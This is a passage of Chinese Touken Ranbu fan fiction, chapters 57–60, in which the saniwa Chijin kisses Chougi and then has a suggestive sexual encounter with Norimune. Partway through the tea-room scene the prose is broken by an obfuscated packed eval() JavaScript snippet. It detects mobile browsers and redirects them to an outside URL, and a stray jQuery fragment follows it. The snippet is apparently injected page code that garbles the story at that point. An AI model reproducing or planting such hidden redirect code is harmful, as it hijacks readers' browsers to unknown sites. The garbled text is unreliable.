“不会。”
“您会一直爱着我吗。”
“我会一直爱你。”
她语气和神情充满了不容拒绝的坚定,安抚住长义沮丧的情绪。
长义嘴角微抿,抑制不住心中开心,遮挡在银色额发下的双眸荡起蓝色流光,充满期待地注视着她。
“主公可以安慰我一下吗。”
赤锦挑眉。
哦哦哦她懂,但是在同事本丸里做,爱做的事,想想不符合长义的行事作风。她单手贴着他滚烫的脸颊,还没进行下一步,长义就抬起脸,把眼紧紧闭上了。
果然就是想要亲亲!
银渐层小猫太好懂了。
她看得心头软软,笑盈盈地凑近他,把柔软的吻落在他唇上。
好甜。
57.
从任务本丸离开时,明眼人都看得出来,长义被哄开心了,对刚才的失态也能做到不去在意,同时他更缠着赤锦了。
她就还好,毕竟只是一个纯洁的亲亲。
小猫被亲后眼睛亮晶晶,脸红红的,更可爱了。
喜欢。
哎呀哎呀监察官大人这样不为人知的一面,毫无保留的展现在她面前,怎么不算媚主呢。
……
落地本丸后,时间已经来到晚八点,虽已顺利完成任务,但明天要去做社畜的心理紧接着爬上来,让她多少有些力竭。
总而言之,她要下线了。
鹤丸和长义离开后,则宗还没走。
“则宗?”
一文字则宗脸上挂着捉摸不透的笑,从额发下露出的一只晶绿色的眼睛,在莹白月色下,透出一股晦暗不明的情绪。
“主人,你也是时候,该宠爱我一下了吧。”
这样直白。
她是一个聪明人,很容易就明白则宗不是在开玩笑。
如果在平时,则宗这样的大美人主动献上,她指定端起碗举起筷子,大吃特吃,奖励自己。
但现在,怎么说呢,有些不是时候。
让她先下线好吗,明天是周一,要上班了。
不要小看我们社畜要上班的决心啊!
等她回来,正式开了寝当番,则宗想怎么做就怎么做,她绝不说一个“不”字。
谁来理解一下我们苦命社畜。
但话又说回来,她又不会让则宗失望而归,想来是因为她用了长义本体刀,鹤丸又有很长一段时间单独陪在她身边,让则宗感到受冷落了。
咦隐居幕后的御前大人居然还会在意这个,还以为菊花老头不会争抢呢。
想到这里,赤锦缺乏表情的脸上扬起一个漂亮的微笑,红蓝双色的眼瞳凝视着他,有商有量地轻声说道:“则宗,接下来我还有其他事情,我们下次好吗。”
“您是不是不爱我。”狡猾的菊花老头换上敬语,摇着头叹息,眼尾挑起委屈的弧度。
“我当然爱你。”赤锦毫不犹豫,直言不讳。
她就这样平等地爱着本丸每一振刀,不论谁在她面前讨论爱不爱,她的回答一律都是“爱”。
则宗眨了眨眼,嘴角勾起弧度,对她的回答不为之所动,反而情绪上更加晦暗不明。
“就这样轻易地说爱。”他的视线落在她嫣红的唇瓣,并拢的折扇轻轻挑起垂在她肩头的黑银色长发,笑意加深,“究竟有几分真心呢。”
赤锦神色认真,握下挑着她头发的折扇,一眨不眨看着他,“则宗,你觉得我在骗你。”
没有一个审神者会不爱自己的刀。
即便不是爱情方面的,他们也是家人般的存在。
则宗眨了眨眼,金色的纤长的眼睫在起落间掩埋住眼瞳深处翻涌的幽深,他不是觉得她说谎,只是一旦有了人的身体后,随之而来的就是属于人类的感情和想法,以及私欲。
爱实在是令人目眩神迷的存在,会产生想要独占的私欲,是再正常不过的。
“我当然不认为您在骗我。”则宗的情绪很快调理好,笑眯眯地弯下眼睛,又是那副捉摸不透的样子,“您也多偏爱我一些吧。”尾音带着些许蛊惑的意味。
这不是一个亲亲能解决的。
不妙。
看着则宗似笑非笑的脸,长睫垂落下的眼瞳中眸光模糊不清,不知为何,她心头一跳,背脊漫上一层冷意。
除去清楚认知到则宗不会轻易放她离开外,他这样的表情,她似乎在哪里见过。
莫非是在哪本同人本上。
也只能这样想了,否则菊花老头这种危险溢出的掌控感,为什么会有种隐秘的熟悉。
眼见面前的审神者毫无察觉危险来临般的在走神,月光下,一头金发的太刀微微挑眉,嘴角勾了又勾。
“主……”
他刚刚张口,就被赤锦拉住手腕。
“来吧。”
“嗯?”
赤锦回头看了他一眼,眉眼间的笑意柔和,她决定了。
“从现在开始,我是属于你的了。”
58.
要把主动权掌握在自己手里。
即使睡再多刀,审神者证也不会像奶油一样化开。
为了不让则宗看到身体上被源氏兄弟弄出的痕迹,她特意选了乌漆墨黑的茶室,门一关,月光都进不来。
虽然可能没什么用。
但太刀眼睛在夜里是瞎的!
救命,则宗似乎对这事异常熟悉,也知道哪里会让她觉得舒服。
主动权很快就不在她手里了。
湿热的气息沿着纤细的颈脖下移,在肩头和背上留下深深浅浅的痕迹。
“您没有选我做「全域净化」,我确实有了吃醋的心理。”
似乎是为了告诉她,他的醋意有多大,可恶的菊花老头,不,可恶的矮脚猫越来越过分,磨得她膝盖发疼。
但他记得她的叮嘱,让她清醒着走出茶室。
所以他会见好就收,不会真让她觉得承受不住。
就这点来说,比髭切好上太多,至少是能听得懂人话的类型,髭切那是管你说什么,扬着软绵无辜的笑脸,一律不听。你问她为什么不提膝丸,膝丸也好不到哪里去,比起他哥,话少但干的一点也不少,有时候比髭切还凶。
黑暗的茶室里,垫下身下的软垫早就不清楚是什么时候湿掉的了,冰的她滚烫的肌肤凉得有些发颤。
则宗一双晶绿色的眼瞳在黑暗中格外明亮,一寸寸缠上她的肌肤,直白又黏腻地落在她脸上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027483|193086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过于危险的掌控感让她下意识畏缩,又被他拽着手腕拉了回来。
横冲直撞的。
“说好了现在的您是属于我的,不可能擅自逃走哦。”
他笑眯眯的,长睫垂落,遮住阴暗愉悦的眸光。
“则宗!”她咬了一下后槽牙,刻意忍耐的声音里没有抗拒的意味。
“嗯?”则宗低沉慵懒的声音裹挟着高昂的兴奋,嘴角勾起些许恶劣弧度,“您看到了吗,在我身上盛开的菊纹,是为了您盛开的。”
啊啊啊啊说什么呢?这是可以讲的吗,可恶矮脚猫真不愧是一文字家的御前大人,能在这种情况下,脸不红心不跳说出这样涩涩的话。
总之不知道为什么,一开始看见他肩背处显露出的菊花纹样,她边品鉴边满嘴说“我觉得很神圣啊”,一副很有趣的调侃揶揄。
后面则宗就经常拿他身体上的菊花纹路反过来调侃她。
“喜欢吗。”
“它是因为您才盛开的。”
“它会为了您,一直存在着。”
啊啊啊用着敬语说什么呢?干什么呢?可恶的矮脚猫!话唠矮脚猫!
她本来要掌握主动权的,最后给她干羞耻了。
59.
总之……也算是速战速决了。
即便在完全黑暗的环境里,眼睛适应后,也是可以看到彼此的。
离得太近,太刀眼睛不是瞎的。
赤锦一边穿巫女服,一边抱怨,“真是的,没想到你居然是这种则宗。”
则宗笑得餍足,并不急于穿衣服的他,用折扇掩住嘴,拖长的尾音勾勒出慵懒的音色,“嗯,哪种?”
一边说一边上前,用折扇帮她把拢进后衣领的头发勾出来。
她轻轻哼了声,感觉身后的则宗越贴越近,温热的气息席卷而来,那缕金色的头发也落在她肩上。她下意识的缩了缩脖子,好不容易平息下来的呼吸又开始发烫,紧接着,耳畔传来他的声音,慵懒又低沉,仿佛在诉说属于他们俩人的秘密。
“如果您的心,更多的偏向我一些,就好了。”
60.
天守阁亮着灯。
膝丸已经等了她有段时间。
他皱着眉头,焦虑不安盯着终端上,两个小时前,审神者发来的讯息。虽然膝丸已经尽可能让自己处于冷静状态下,守在天守阁接收了信息,帮忙整理好公务,但她还是没有回来。
去哪里了。
山姥切长义发来写了一半的调查报告,鹤丸国永也提交了问询报告,唯独一文字则宗什么都没有发来。
时间过越久,他的心就越沉。
不行啊这样,不能有左右审神者的行为的想法,主人是大家的。
话虽如此……
膝丸茶金色的双瞳紧张地看向紧闭着的障子门。
“我回来了,不好意思膝丸,有事耽误了一下。”
赤锦推门进来。
她是有一点点心虚的,就这样让膝丸独守空房,和则宗鬼混。但这一点点心虚并没有占据太多位置,所以她的表情看起来很正常,就像无事发生。
膝丸呼吸一窒,眉目不自觉地下压。
他和兄长的味道,被压下去了。